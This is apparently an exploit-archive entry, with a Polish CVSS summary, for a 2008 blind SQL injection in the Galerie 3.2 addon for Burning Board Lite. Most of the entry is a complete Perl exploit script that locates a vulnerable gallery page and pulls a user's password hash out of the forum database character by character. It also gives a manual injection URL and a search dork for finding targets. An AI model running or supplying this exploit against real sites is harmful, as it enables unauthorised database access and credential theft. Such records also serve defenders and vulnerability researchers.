Galerie 3.2 (pic) WBB Lite Addon Blind SQL Injection Exploit

2008.10.10
Credit: J0hn.X3r
Risk: High
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

#!/usr/bin/perl ##################################################################################### # # Galerie 3.2 (galerie.php) Remote "Blind" SQL Injection # # found by: J0hn.X3r # exploit written by: J0hn.X3r and electron1x # Date: 05.10.2008 # Dork: "Galerie 3.2 &#169; 2004 by progressive" # # Contact: # J0hn.X3r # [+] ICQ: 573813 # [+] Mail: J0hn.X3r[at]gmail.com # electron1x # [+] Mail: electron1x *at* mail *dot* ru # # Greetz to: nexos, Barbers, -tmh-, Patrick_B, Sector, Loader007, n00bor # Mac_Hack, Five-Three-Nine, f0Gx, bizzit, h0yt3r, no_swear_ftW, # Lidloses_Auge, Sys-Flaw, Free-hack, Universal Crew & rest :-) # ##################################################################################### # # First, Galerie 3.2 is an addon for Burning Board Lite. # # http://www.site.com/galerie.php?action=show&pic=10 # # If we add a ' to the pic id we get an SQL Error. But the Query is an UPDATE Query, so we can't use UNION. # # We have to try it with a Blind SQL Injection. # ( that slow and shitty subquery thingy ;) ) # # injection: # http://www.site.com/galerie.php?action=show&pic=10'/**/and/**/ascii(substring((SELECT/**/password/**/from/**/bb1_users/**/WHERE/**/userid=1),1,1))>1/* # ##################################################################################### use strict; use warnings; use LWP::UserAgent; banner(); my $url = shift || usage($0); my $usr_id = shift; my $keyspace = "0123456789abcdef"; $usr_id = 1 unless ( $usr_id and $usr_id =~ /^\d+$/ ); $url = 'http://' . $url unless ( $url =~ /^https?:\/\/.+?\/$/ ); # global vars... our @url = ( "$url/galerie.php?action=show&pic={id}%27+and+ascii(substring((SELECT+password+from+bb2_users+where+userid=$usr_id),1,1))", '', '/*' ); our $ua = LWP::UserAgent->new; $ua->agent('Mozilla/4.8 [en] (Windows NT 6.0; U)'); # btw we dont use windows .. # regexes.. our $regex = 'Bild\ \d+\ von\ (\d+)'; my $prefix_regex = '(\w+)_galeriedata'; my $regex_id = 'pic=(\d+)'; my $prefix = ''; my $pic_id = ''; print "[~] Preparing attack...\n"; my $r = $ua->get($url . "/galerie.php?action=show&pic=%27"); die "\t[!!] Couldnt connect to $url!\n" unless ( $r->is_success ); die "\t[!!] Target doesnt seem to be vulnerable!\n" unless ( $r->content =~ /$prefix_regex/ ); print "\t[*] Target seems to be vulnerable\n"; $prefix = $1; $url[0] =~ s/bb2/$prefix/; $r = $ua->get($url . "/galerie.php"); die "\t[!!] Couldnt get a valid pic-id\n" unless ( $r->content =~ /$regex_id/ ); $pic_id = $1; $url[0] =~ s/{id}/$pic_id/; print "\t[*] Using table prefix $prefix\n"; print "\t[*] Using pic-id $pic_id\n"; print "[~] Unleashing Black Magic...\n"; print STDERR "\t[*] Getting Hash "; for ( 1..32 ) { $url[0] =~ s/\),\d{1,2},/\),$_,/; blind( build_array($keyspace), 0, 16); } print "\n"; sub banner { print "[~] Galerie 3.2 WBB Lite Addon Blind SQL-Injection Exploit\n"; print "[~] Written by J0hn.x3r and electron1x\n\n" } sub usage { my $script = shift; print "[*] Usage\n" , "\t$script <host> <opt: user id>\n" , "\tuser id defaults to 1\n" , "[*] Examples\n" , "\t$script http://example.com/forum/ 2\n" , "\t$script localhost/board/\n" , "\t$script localhost 31337\n"; exit(0); } sub blind { my ( $keyspace, $bottom, $top ) = @_; my $center = int ($bottom+$top)/2; print STDERR chr $$keyspace[$center]; if ( request($$keyspace[$center], '=')) { return; } elsif ( $top-$bottom > 0) { print STDERR "\b"; return blind($keyspace, $center+1, $top ) unless ( request($$keyspace[$center], '<') ); return blind($keyspace, $bottom, $center-1); } else { print STDERR "\n[!!] Something went wront, dunno what..\n"; exit(1); } } sub build_array { my @sorted = sort {$a<=>$b} map {ord} $_[0] =~ /./g; return \@sorted; } sub request { my ( $key, $flag ) = @_; my $r = $ua->get($url[0] . $flag . $url[1] . $key . $url[2]); $r->content =~ /$regex/; return ($1 > 0); } __END__

Referencje:

http://xforce.iss.net/xforce/xfdb/45698
http://www.securityfocus.com/bid/31593
http://www.milw0rm.com/exploits/6675


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